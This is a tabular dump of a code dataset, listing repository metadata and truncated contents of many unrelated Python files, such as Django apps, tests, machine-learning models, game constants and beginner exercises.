blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 246
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
55b99d12391bca0cafdf5b7dfcaaebc676aa797e | dac55854247e35ed583c4c5461bfe33ff734d6ac | /Python/Web_Scraping_with_Python/3/test.py | c1f11da591169157d230fc2986ae76704be50da3 | [] | no_license | andyRon/note-exercise | 1beb712746a6bdcb7f8b9c66aa224f5f325907b0 | 98df95d249c9ae13d9c1af82a9a41e0c4b82e1c2 | refs/heads/master | 2021-01-23T09:54:16.691226 | 2020-12-19T03:17:54 | 2020-12-19T03:17:54 | 23,666,645 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 344 | py | from link_crawler import link_crawler
from scrapecallback import ScrapeCallback
from disk_cache import DiskCache
# link_crawler('http://example.webscraping.com/', '/(index|view)', max_depth=1, delay=0, scrape_callback=ScrapeCallback())
link_crawler('http://example.webscraping.com/', '/(index|view)', max_depth=1, dela... | [
"randy.njfu@gmail.com"
] | randy.njfu@gmail.com |
90808b4b439a3198ca5c89ac90beea63481f565b | 23dfa05473d3d38db540b739cc54dfca5a737376 | /disentanglement_lib/data/ground_truth/mpi3d_multi_test.py | 1b59e2d4ef9ab253ba03515832162cb2f4363aa7 | [
"Apache-2.0"
] | permissive | travers-rhodes/disentanglement_lib | 4d1a8030acc334c9bcc8091c838842bf5aeb1d80 | 73d4b995e88efdd5ffbe98a72e48a620c58f4dc7 | refs/heads/master | 2023-05-08T21:31:18.520376 | 2021-05-28T03:48:33 | 2021-05-28T03:48:33 | 367,069,686 | 0 | 0 | Apache-2.0 | 2021-05-27T14:55:35 | 2021-05-13T14:12:01 | Python | UTF-8 | Python | false | false | 2,558 | py | # coding=utf-8
# Copyright 2018 The DisentanglementLib Authors. All rights reserved.
# Copyright 2021 Travers Rhodes. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
... | [
"tsr42@cornell.edu"
] | tsr42@cornell.edu |
cd4b78a67da8c633aa6cefbb9aba8904d3068e17 | d3561d8db9689ab45f0ec18a64af3cb4a86a06db | /cau3.py | e572cd287c564d19a117c0f4f4c7a9021b4aca96 | [] | no_license | hoangngocquy98/napbt | e1ff084096d2b882bfa0dc85dd30f20a68cec2a8 | 9421d712ad6292c8ab8423a0a00e36ec322a39c9 | refs/heads/master | 2020-05-16T23:01:33.549083 | 2019-04-25T03:56:34 | 2019-04-25T03:56:34 | 183,352,565 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 58 | py | s=input('nhapchuoi:').upper()
for a in s:
print(a)
| [
"noreply@github.com"
] | hoangngocquy98.noreply@github.com |
3f2c45d2485f3b00380efee12c3a6f5d51afd6bd | 4e7e455a87526367af15f945045f7c7b1280364e | /DummyBot/sc2/constants.py | 90faa07b1445b79f65b9ed64867819d83a1b0dee | [
"MIT"
] | permissive | ProfessorQu/TooManyStalkers | 1882c007b57257d59605687e30dde2e54eb0e70f | 366c49b0b59fbf72ccb4e80e94c737056c95311a | refs/heads/main | 2023-05-22T01:19:51.425945 | 2021-06-07T13:22:34 | 2021-06-07T13:22:34 | 363,627,631 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 22,241 | py | from .data import Alliance, Attribute, CloakState, DisplayType, TargetType
from .ids.ability_id import *
from .ids.buff_id import *
from .ids.effect_id import *
from .ids.unit_typeid import *
from .ids.upgrade_id import *
from collections import defaultdict
from typing import Dict, Set
mineral_ids: Set[int] = {
RI... | [
"quint@dasookwat.com"
] | quint@dasookwat.com |
fe5f40458d76c13c306f9075bfdf202f337cf233 | 32afcaed8a821e65e72313e808a5ef74a8066545 | /random_data.py | 01d23c028e827c545fad6ae90f24ebc5d3c1a87a | [] | no_license | augieafr/uts-software-testing-sdp-metrics | 979ebbe33efc4607139619bc90a68a472c11cbab | 33c98f887218f1303d565b783f3fbbac1d1b9315 | refs/heads/main | 2023-08-27T11:58:03.472572 | 2021-10-13T16:22:10 | 2021-10-13T16:22:10 | 416,742,212 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 37,138 | py | import itertools
import json
import os
import random
import unicodedata
import uuid
from collections import defaultdict
from typing import Type, Union
from unittest.mock import patch
from django.conf import settings
from django.contrib.auth.models import Group, Permission
from django.contrib.sites.models import Site
f... | [
"noreply@github.com"
] | augieafr.noreply@github.com |
cc560822ef2d48813402158877c3e00ff38a8fb7 | 96dcea595e7c16cec07b3f649afd65f3660a0bad | /tests/components/dsmr/test_config_flow.py | 8ad7c7214a3c8c39e9e6f051c5814db922a12dea | [
"Apache-2.0"
] | permissive | home-assistant/core | 3455eac2e9d925c92d30178643b1aaccf3a6484f | 80caeafcb5b6e2f9da192d0ea6dd1a5b8244b743 | refs/heads/dev | 2023-08-31T15:41:06.299469 | 2023-08-31T14:50:53 | 2023-08-31T14:50:53 | 12,888,993 | 35,501 | 20,617 | Apache-2.0 | 2023-09-14T21:50:15 | 2013-09-17T07:29:48 | Python | UTF-8 | Python | false | false | 19,514 | py | """Test the DSMR config flow."""
import asyncio
from itertools import chain, repeat
import os
from unittest.mock import DEFAULT, AsyncMock, MagicMock, patch, sentinel
import serial
import serial.tools.list_ports
from homeassistant import config_entries, data_entry_flow
from homeassistant.components.dsmr import DOMAIN... | [
"noreply@github.com"
] | home-assistant.noreply@github.com |
c03e87ec7816e07b685894a92fa3274d5414db6c | e80393d0e32358d68e60b5119406c654d2373e1f | /encoding/models/aca2.py | 83cbbae9f07d7dbe332b8679537ef97e0f8d8c86 | [
"MIT",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | yougoforward/Fast_psaa | 3e333fb31743bda7684cc0bdae378bf40d839f63 | 68e99cd5bcf3bf5ab45ea604c3898fabc458c020 | refs/heads/master | 2022-11-04T02:01:03.694010 | 2019-11-30T07:53:01 | 2019-11-30T07:53:01 | 224,800,023 | 1 | 1 | NOASSERTION | 2022-10-26T23:53:43 | 2019-11-29T07:27:43 | Python | UTF-8 | Python | false | false | 7,162 | py | from __future__ import division
import torch
import torch.nn as nn
import torch.nn.functional as F
from .mask_softmax import Mask_Softmax
from .fcn import FCNHead
from .base import BaseNet
__all__ = ['ACA2Net', 'get_aca2net']
class ACA2Net(BaseNet):
def __init__(self, nclass, backbone, aux=True, se_loss=False,... | [
"908865817@qq.com"
] | 908865817@qq.com |
d9913b842722589bf2287186a9de5d841c977eba | e0f9e1e8dbe947f9a56dc2caa417ed60c066d060 | /Tensorflow/baseline_orig.py | 18ee751b00b79d66bb28e9fadad1f9b6b180cdc3 | [] | no_license | pranshu93/Architectures | f7238e69b1c87d1f47237d7b22d99331c30b4fc8 | 7ea20fbeaa5c50b991ead5cffffc1132e46bead3 | refs/heads/master | 2020-03-24T11:07:55.898837 | 2018-07-29T05:42:21 | 2018-07-29T05:42:21 | 142,676,425 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 24,274 | py | from __future__ import print_function
import tensorflow as tf
from tensorflow.contrib import rnn
import numpy as np
import timeit
import os
from thread import start_new_thread
import sys
pid = os.getpid()
def hard_thrsd(A, s):
A_ = np.copy(A)
A_ = A_.ravel()
if len(A_) > 0:
th = np.percentile(np.ab... | [
"pranshu93@gmail.com"
] | pranshu93@gmail.com |
1a7add79983d9aaaa4ac9d383db387f438a20b30 | 3abe14e934f775aca6dba588a9da5c908808daec | /setuptools/tests/test_depends.py | e0cfa88049d7ab7e93b8af06cdac45ee96c0714d | [
"MIT"
] | permissive | IronLanguages/setuptools | e1d6d6aaf990a2691f79ce3a4ca21b87e2f10a1a | 20aa9400b3d44df952c362217d3c5a1c3988467f | refs/heads/master | 2020-03-19T04:21:15.955081 | 2018-06-02T13:26:55 | 2018-06-02T13:26:55 | 135,819,098 | 2 | 1 | MIT | 2018-06-02T13:17:01 | 2018-06-02T13:17:01 | null | UTF-8 | Python | false | false | 374 | py | import sys
from setuptools import depends
class TestGetModuleConstant:
def test_basic(self):
"""
Invoke get_module_constant on a module in
the test package.
"""
mod_name = 'setuptools.tests.mod_with_constant'
val = depends.get_module_constant(mod_name, 'value')
assert val == 'three, sir!'
assert 's... | [
"jaraco@jaraco.com"
] | jaraco@jaraco.com |
41a66a232063e2ebb8e8c98b51591d350d5ea36c | e6d4c8a843cd5be7cc18cf01fce814fc6dd31116 | /lib/markdown.py | ea2f4410e3e4f4bfbe9b8a72798cf00eb68e664d | [
"MIT"
] | permissive | contentful/the-example-app.py | 5a97e105b5e40a02db1fcd23a8b7f47a420e366d | 48597edd47414097535636cd1118a87c368b0ce5 | refs/heads/master | 2023-01-31T04:23:49.004745 | 2023-01-18T09:27:51 | 2023-01-18T09:27:51 | 112,584,112 | 17 | 40 | MIT | 2022-01-21T18:59:42 | 2017-11-30T08:13:37 | Python | UTF-8 | Python | false | false | 343 | py | import CommonMark
from flask import Markup
def markdown(text):
"""Filter for turning text into markdown.
:param text: String to be transformed.
:return: Transformed html string.
Usage:
{{ 'Some *markdown*'|markdown }}
"Some <strong>markdown</strong>"
"""
return Markup(Common... | [
"noreply@github.com"
] | contentful.noreply@github.com |
262dee03cbd286e032744622bfbce20bc34e191e | e68dedcc8b8b2adbd12b5f4697655df4588a6652 | /DNFaceRecognition/Z_Area.py | da7a3cbe419b5d2c3557e4e3e3e62ebc1a1a2fd2 | [
"MIT"
] | permissive | Lyle-zhang/LaserQt | ceb60083636c60857f92d368554c628f5a09b095 | b879a9b4599be55e81c5f9e834c6264927a7ee99 | refs/heads/master | 2020-07-19T15:10:27.946408 | 2016-11-14T09:56:34 | 2016-11-14T09:56:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 627 | py | from PIL import Image, ImageDraw, ImageFile
import numpy as np
import random
import matplotlib.pyplot as plt
class Z_Area:
def __init__(self, numNeurons):
self.numNerons = numNeurons
self.response = np.zeros(numNeurons)
self.Y = []
self.sampleY = np.zeros(numNeurons)
def setY(self, Y):
self.Y = Y
... | [
"summychou@gmail.com"
] | summychou@gmail.com |
84850b548f4474ded535f29cf17787faf719136c | 36b7139a9ba0a0fb0181605950b26aa2971c8c35 | /lib/nms/nms.py | 1fe8085e32d290ebd507f2797b7eb7ade7b18821 | [
"MIT"
] | permissive | Re3write/deepresolution | 845962d27cae4a1a7bd6929ebedf6211f2e2e1f8 | 2ad7e67beae89d181a5c7c9bcf553b65c6327faa | refs/heads/master | 2020-04-28T21:26:16.515656 | 2019-03-14T08:48:50 | 2019-03-14T08:48:50 | 175,581,514 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,215 | py | # ------------------------------------------------------------------------------
# Copyright (c) Microsoft
# Licensed under the MIT License.
# Modified from py-faster-rcnn (https://github.com/rbgirshick/py-faster-rcnn)
# ------------------------------------------------------------------------------
from __future__ imp... | [
"1936929110@qq.com"
] | 1936929110@qq.com |
b1bc5027b84c5e0063ef0dc615b6207100b4b9a3 | feb14cc02cc682bb04fada1d1252b2d630bce4aa | /sol/migrations/0014_ministrybackground.py | 933998a9ed8794c9e3fb5649a0b42a419152fadd | [] | no_license | t4christ/springoflife | 60d5da1cf78e3c757f3ce34f99235e96a4fec6e2 | 8545b726c8011dc289a70c8325316d7782fadf9c | refs/heads/springs | 2022-12-14T06:17:14.291983 | 2021-08-23T20:17:54 | 2021-08-23T20:17:54 | 178,239,265 | 0 | 0 | null | 2022-12-08T00:50:29 | 2019-03-28T16:10:46 | JavaScript | UTF-8 | Python | false | false | 825 | py | # Generated by Django 3.0.8 on 2020-08-14 10:35
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('sol', '0013_auto_20200807_1257'),
]
operations = [
migrations.CreateModel(
name='ministryBackground',
fields=[
... | [
"bakaretemitayo712@gmail.com"
] | bakaretemitayo712@gmail.com |
f04be6f6148ca178ed9fccab35e7ab9fb0323250 | 3150c29fa4adba48eb106fc231823a2a8e532484 | /clients/queries.py | 65aeb0ba63127f2070af62b59986cc0bac31055f | [] | no_license | ACONCEPT/mvp_consumer | 6e8fab53687bb7c5182ec7ee36a3377987ce9723 | 3d2fb724eb9dac18af893d4b664d5cb453f2109b | refs/heads/master | 2022-12-13T15:05:20.374603 | 2018-04-30T20:45:16 | 2018-04-30T20:45:16 | 131,062,998 | 0 | 0 | null | 2022-12-08T02:11:51 | 2018-04-25T20:59:15 | Python | UTF-8 | Python | false | false | 1,982 | py | #! usr/bin/env python3
from postgres_cursor import get_cursor, execute_query, commit_connection, close_cursor, execute_cursor
import json
def main():
pass
def get_base_table_descriptions():
base_table_names = get_base_table_names()
base_query = "select * from {} where 1 = 2;"
result = {}
for table i... | [
"ubuntu@ip-172-31-10-80.us-west-2.compute.internal"
] | ubuntu@ip-172-31-10-80.us-west-2.compute.internal |
ff69c7aa23648e047da913f57e8d61b4bd292bde | d2e13f3f7283307bc62eb4a103833aa3f26542fb | /p05_Trapezoid_Area/Main.py | 0b87698fce5e7b6e4e10b85c9b2f68a4cae136ad | [
"MIT"
] | permissive | RadoslavEvgeniev/Python-Simple-Calculations | 93ec7aec80d0f9e36f8313fd3a8147d03b529ded | 070f7608751cb8022d1dcc1cffc4a0772751a95b | refs/heads/master | 2021-05-15T23:32:52.290517 | 2017-10-14T08:46:49 | 2017-10-14T08:46:49 | 106,912,443 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 118 | py | baseA = float(input())
baseB = float(input())
height = float(input())
area = (baseA + baseB) * height / 2
print(area)
| [
"r.evgeniev.ivanov@gmail.com"
] | r.evgeniev.ivanov@gmail.com |
89df1cb944bf91d1a930a6131458fbb5de75dc62 | 16f8b0908918b0802c8bf714c5c07d2df777a8cb | /libtests/turtledemo.py | 2d4443df8889d93221181eb96d4cf14e625c5243 | [] | no_license | iCopy-X-Community/icopyx-community-tests | 603263ecf282b13620a94b88af1e27d8bca0d979 | e33b267a0a3b7d37f72882d8cd8fbe2708ebbdf9 | refs/heads/master | 2023-07-05T20:15:10.328900 | 2021-08-05T10:40:46 | 2021-08-05T10:40:46 | 393,003,664 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,049 | py | #!/usr/bin/env python3
# Can be run on host too
# iCopy-X: Run with
# sudo service icopy stop
# DISPLAY=:0 sudo xinit /usr/bin/python3 turtledemo.py
import time
import platform
import tkinter as tk
import turtle
from PIL import ImageTk, Image
import keymap
import hmi_driver as hmi
def keydbg(event):
print("MyD... | [
"phil@teuwen.org"
] | phil@teuwen.org |
f4085e913c544b9b4919f4733051da4f02611719 | f9420af4f39c2ff114cfdc936910ddeb9d3861d4 | /app/emotions/views.py | 06c780b37498a257b9b63544bac4c91f860d94c5 | [
"MIT"
] | permissive | adiptdevtomar/emotions_backend | 1d4dea13eebdb2a563d68c88ba09ee07aaaad259 | c31e688629cdd4a9f4f44657ec36bef169f95f1e | refs/heads/main | 2023-06-22T20:48:07.887894 | 2021-07-20T09:32:14 | 2021-07-20T09:32:14 | 387,730,975 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,550 | py | from django.shortcuts import render
from emotions import serializers
from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework import status
import tensorflow as tf
import pandas as pd
import pickle
class Predict():
def predict_new(sentence):
model = ... | [
"adipt.dev.tomar@gmail.com"
] | adipt.dev.tomar@gmail.com |
74181cfa74ae35c7c13033e73dd6978c8ffce412 | 07f837d8c5236fe5e75ef510cd296814452370ce | /py/h2o_jobs.py | 311baeb46561a756eefb1ed044efe40f6157e30d | [
"Apache-2.0"
] | permissive | vkuznet/h2o | 6f9006a5186b964bac266981d9082aec7bc1067c | e08f7014f228cbaecfb21f57379970e6a3ac0756 | refs/heads/master | 2021-08-28T11:37:52.099953 | 2021-08-10T22:43:34 | 2021-08-10T22:43:34 | 20,032,996 | 0 | 0 | Apache-2.0 | 2021-08-10T22:43:35 | 2014-05-21T18:46:27 | Java | UTF-8 | Python | false | false | 9,555 | py | import time, sys
import h2o, h2o_browse as h2b
def pollStatsWhileBusy(timeoutSecs=300, pollTimeoutSecs=15, retryDelaySecs=5):
busy = True
trials = 0
start = time.time()
polls = 0
statSum = {}
# just init for worst case 64 nodes?
lastUsedMemBytes = [1 for i in range(64)]
while busy:
... | [
"kevin@0xdata.com"
] | kevin@0xdata.com |
6e5c1b6b90f3961a988d8bfcdf41f2994f72480b | b6c4c71dd1544bfc6bc364b4242e9b76401e7372 | /ebicochineal/yukicoder/g81.py | 2e1d5cfc8ad06f1f4c36fda82b6ff2d262b58410 | [] | no_license | ebi-cp/golf | b248f9a7b1a09e6d6c90e141ae5ce1cacbf7c665 | 4ea8f8456fd926051aadc1e88e4014585f483997 | refs/heads/master | 2020-03-17T20:53:06.910302 | 2019-06-20T01:47:59 | 2019-06-20T01:47:59 | 133,932,902 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 110 | py | #! /usr/bin/env python3
from decimal import*
print('{:.10f}'.format(eval("+Decimal(input())"*int(input()))))
| [
"yz94588@gmail.com"
] | yz94588@gmail.com |
a05ccbcb518a182caa4947b3f2cc7efb563a96ab | 22769ac2526c6d564acc918327e489e38659dabd | /django_website/settings.py | 6b68cb2a0031ea3cfc5bfbf8328c0fa479ee21a0 | [] | no_license | LondonUZ2001/django_website | 30f831c02382ac4db92b47d1924c19cd642972e5 | fc19bc7600218e8cb8652a663695c6b3ff53fa29 | refs/heads/master | 2022-11-13T15:08:35.170266 | 2020-07-02T18:21:13 | 2020-07-02T18:21:13 | 276,176,043 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,186 | py | """
Django settings for django_website project.
Generated by 'django-admin startproject' using Django 3.0.7.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.0/ref/settings/
"""
impor... | [
"alivooy13@gmail.com"
] | alivooy13@gmail.com |
f19d3f111f347eb3e4604b81fcb9bab284fc546e | 14f0c35a5095647281adb7eb6be1ef865f8e6a02 | /district/partner.py | a5bb82234c1c36f0ad1a340c54bd9ad3be6241b1 | [] | no_license | funkring/addons-funkring-extra | 9075bcb52561957ca3b7003b803e8442152ca1b7 | e473d4a313a36d97df6dbbd280951a534dd37955 | refs/heads/master | 2022-04-03T06:43:08.694839 | 2020-02-02T23:45:13 | 2020-02-02T23:45:13 | 106,341,217 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,565 | py | # -*- coding: utf-8 -*-
#############################################################################
#
# Copyright (c) 2007 Martin Reisenhofer <martin.reisenhofer@funkring.net>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as pu... | [
"martin.reisenhofer@funkring.net"
] | martin.reisenhofer@funkring.net |
3f194cac2416d5e78c49d3ca123252eb4de5fddb | b4be6163a69c6251a8149a58fe5e7c18daec1b4d | /Ex1018.py | 4590aea9ebb3ed6051819b720c809a1cfdad2ac2 | [] | no_license | bielzfreitas/ExUriPython | ab5e1da3f6f5b222639b4f5f45d10234797c83ab | 0c07da71a14b2061ec056e14b2216c76503381cd | refs/heads/master | 2022-02-23T00:43:11.333698 | 2019-10-23T15:58:33 | 2019-10-23T15:58:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 963 | py | # Leia um valor inteiro. A seguir, calcule o menor número de notas possíveis (cédulas) no qual o
#valor pode ser decomposto. As notas consideradas são de 100, 50, 20, 10, 5, 2 e 1.
#A seguir mostre o valor lido e a relação de notas necessárias.
ent = int(input())
print (ent)
n100 = int(ent / 100)
n50 = int(... | [
"noreply@github.com"
] | bielzfreitas.noreply@github.com |
65982eac7ec7777b55dd3abde5ad1b74ec997123 | 518bf84273776f472d08e46f15b29bab57f43d35 | /entity/ShipPart.py | 900fb02b2c46abce5c4ffed200ac572a9f1f88ec | [] | no_license | markjoshua12/throwaways | 81ab2efde93281483550c984e1ed0a48bf620456 | 10fdd81eb7a553581dda9773cb46aff786bb6b08 | refs/heads/master | 2022-12-18T00:56:43.449856 | 2020-09-27T00:03:02 | 2020-09-27T00:03:02 | 297,106,328 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 715 | py | import pymunk
import arcade
from graphics import Textures
from entity.Entity import Entity
from tiles import Tile
class ShipPart(Entity):
def __init__(self, ship, x, y, tile):
super().__init__(0, 0)
self.texture = Textures.get_texture(tile, 4)
self.ship = ship
self.x = x
... | [
"mark.joshua121001@gmail.com"
] | mark.joshua121001@gmail.com |
af8822c01c2eae258d213fcd4fb4dabd0f0f483b | 9a9e0398f26cee9864d48c4618c0a482e5475e83 | /Python/code/design_browser_history.py | 21040767673ace8a3036f93a95df6462006bd225 | [] | no_license | CNife/leetcode | 92693c653bb41780ee431293286c3e909009e9b0 | 7cdd61692ecb52dd1613169e80b924dd39d35996 | refs/heads/main | 2021-06-22T21:22:12.997253 | 2021-03-18T07:07:15 | 2021-03-18T07:07:15 | 206,955,329 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,124 | py | from typing import List
class BrowserHistory:
def __init__(self, homepage: str):
self.stack: List[str] = [homepage]
self.pointer: int = 0
def visit(self, url: str) -> None:
if self.pointer < len(self.stack) - 1:
self.stack[self.pointer + 1] = url
del self.stack... | [
"CNife@vip.qq.com"
] | CNife@vip.qq.com |
a6885be1feeeeb5ff626a614e1b274de6ff900fc | 96808f72cc8ee7f4ab1f03f6e25dc654cdd8467c | /users/migrations/0001_initial.py | d577e1ad7380fcf948a856b15afbdac1475a2ba1 | [
"MIT"
] | permissive | leventaysan/My-first-project | 46526bff230f6fae78554ab59d975f1b737a21e4 | cc9b3a5d55414dbb927fd74230d43122e08c3a03 | refs/heads/master | 2021-01-24T18:59:08.589948 | 2018-03-28T11:38:50 | 2018-03-28T11:38:50 | 123,239,149 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,381 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.13 on 2018-02-28 11:02
from __future__ import unicode_literals
import django.contrib.auth.models
import django.core.validators
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
depend... | [
"leventaysannn@gmail.comgit config --global user.email leventaysannn@gmail.comgit config --global user.email leventaysannn@gmail.com"
] | leventaysannn@gmail.comgit config --global user.email leventaysannn@gmail.comgit config --global user.email leventaysannn@gmail.com |
3c145b8ef4e538afdc8b05b7dc35000c6cd14bde | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/429/usersdata/321/107581/submittedfiles/jogoDaVelha.py | b5f5699b08831f08b81685112bfe8cf9f27f5873 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 962 | py | # -*- coding: utf-8 -*-
from jogoDaVelha_BIB import *
# COLOQUE SEU PROGRAMA A PARTIR DAQUI
print('Bem vindo ao JogoDaVelha do grupo 8 [Iara, Ingrid, Luiz Otávio, Tatiane]\n')
a=nome()
b=solicitaSimboloDoHumano()
sort=sorteioPrimeiraJogada(a)
if sort==0:
if b == 'X':
c = ' O '
else:
c = ' X... | [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
8f531582e923fb0fb0831e88beb903ecdecbc8a3 | b521802cca8e4ee4ff5a5ffe59175a34f2f6d763 | /maya/maya-utils/Scripts/Animation/2019-2-15 Tim Cam_Route_Manager/.history/Cam_Main/Cam_Main/Cam_Item_Layout_20190119190257.py | 89fe9b62ef2019192a357e1a4849c612a4a637d1 | [] | no_license | all-in-one-of/I-Do-library | 2edf68b29558728ce53fe17168694ad0353a076e | 8972ebdcf1430ccc207028d8482210092acf02ce | refs/heads/master | 2021-01-04T06:58:57.871216 | 2019-12-16T04:52:20 | 2019-12-16T04:52:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,985 | py | # -*- coding:utf-8 -*-
# Require Header
import os
import json
from functools import partial
# Sys Header
import sys
import traceback
import subprocess
import plugin.Qt as Qt
from Qt.QtCore import *
from Qt.QtGui import *
from Qt.QtWidgets import *
def loadUiType(uiFile):
import plugin.Qt as Qt
if Qt.__bindin... | [
"2595715768@qq.com"
] | 2595715768@qq.com |
53235533a6323bdf900eb3826db7fc883bdfc810 | a201b0ce11f1027cad4a9981712dcdbe72fc464d | /asgnment12june.py | e15dc0c27a62476a3aca950f38c972551857d905 | [] | no_license | mridusood/assignments | 5cb6cf328fce9260e13ccfb9c35b35bc305f191d | 062324f8bde29123ae29e815969f242fad919165 | refs/heads/master | 2020-03-19T10:01:00.627138 | 2018-06-30T14:01:54 | 2018-06-30T14:01:54 | 136,335,943 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,264 | py | #ques1
i=0
while(i<10):
num=input("enter your no.:")
print("entered num is" + num)
i=i+1
#ques2
#while(True):
# print("infinite")
#ques3
i=0
a=[]
while(i<5):
num=int(input("enter the element"))
a.insert(i,num)
i+=1
i=0
print(a)
while(i<5):
print("square of elements= %s"%(a[i]*a[i]))
... | [
"richasood120@gmail.com"
] | richasood120@gmail.com |
aa4b171a119d33a4aefa5f443e39579c048a986d | 346ba0959bcc96405601968844133053339b53c3 | /Jumpscale/clients/itsyouonline/generated/client/UpdatePasswordReqBody.py | 8c591665742b0a0193dbfdf7935c7d3ccdb5f0a3 | [
"Apache-2.0"
] | permissive | MathiasDeWeerdt/jumpscaleX | fac6f39b9c200e88a3c0635695baaf609dfa4108 | 6d2cc97ca15b378b8f148b110edc9c7e97c2d6df | refs/heads/master | 2020-05-18T23:30:07.267657 | 2019-05-02T10:26:31 | 2019-05-02T10:26:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,279 | py | """
Auto-generated class for UpdatePasswordReqBody
"""
from six import string_types
from Jumpscale import j
from . import client_support
class UpdatePasswordReqBody( ):
"""
auto-generated. don't touch.
"""
@staticmethod
def create(**kwargs):
"""
:type currentpassword: str
... | [
""
] | |
8cc1aef5b38b850c7f43e50bc45b0c87c521ae56 | 533f9af807bfbf60eae4729833c23ae6ac68cfef | /2018/day22/part1.py | f1ededf919c467c9cef0f8befaf0bcefdf0705db | [] | no_license | malcx95/aoc | 9b392cd565e0fc4fe53417da9f912c2524bd4ee7 | 34d0e6015b993eb01505c2af035e1aaae6319103 | refs/heads/master | 2020-04-09T01:50:13.469079 | 2019-12-04T12:34:10 | 2019-12-04T12:34:10 | 159,918,897 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 733 | py | import numpy as np
from readinput import read_input
import pdb
import copy
import time
ROCKY = 0
WET = 1
NARROW = 2
# input
DEPTH = 4080
TARGET = (14, 785)
# input2
# DEPTH = 510
# TARGET = (10, 10)
def erosion_level(x, y, erosion):
geologic_index = 0
if y == 0:
geologic_index = x*16807
elif x... | [
"trekommafem2@gmail.com"
] | trekommafem2@gmail.com |
d523adad245260e2ba8b1c5827a75520085cda08 | 212ad2f12536ee631b3600a34529361bc28d6aa9 | /gallery2/gallery/migrations/0003_auto_20170312_1818.py | 2cb62f9065d399fd887c0cd37a1dca813c55ba13 | [
"Apache-2.0"
] | permissive | ArtKiwi/gallery-06-04-17 | ac8efb110485f9eb819c7884104da3d39a48304f | 52426263a2969abe0d6a030602b7a6ccae151f7e | refs/heads/master | 2021-01-19T05:22:04.812457 | 2017-04-06T12:32:27 | 2017-04-06T12:32:27 | 87,427,396 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 435 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.6 on 2017-03-12 16:18
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('gallery', '0002_auto_20170312_1817'),
]
operations = [
migrations.RenameField(
... | [
"Влад@ZMEYA"
] | Влад@ZMEYA |
ab8798f43f4e62010d729812993d84aa181dc52b | 14373275670c1f3065ce9ae195df142146e2c1a4 | /stubs/python-jose/jose/jws.pyi | 777770ae62ba7928c9ecd32abfe7fdcce15fb17d | [
"Apache-2.0",
"MIT"
] | permissive | sobolevn/typeshed | eb7af17c06a9722f23c337e6b9a4726223155d58 | d63a82640390a9c130e0fe7d409e8b0b836b7c31 | refs/heads/master | 2023-08-04T05:59:29.447015 | 2023-06-14T21:27:53 | 2023-06-14T21:27:53 | 216,265,622 | 2 | 0 | Apache-2.0 | 2022-02-08T10:40:53 | 2019-10-19T20:21:25 | Python | UTF-8 | Python | false | false | 939 | pyi | from collections.abc import Container, Mapping
from typing import Any
from .backends.base import Key
def sign(
payload: bytes | Mapping[str, Any],
# Internally it's passed down to jwk.construct(), which explicitly checks for
# key as dict instance, instead of a Mapping
key: str | bytes | dict[str, Any... | [
"noreply@github.com"
] | sobolevn.noreply@github.com |
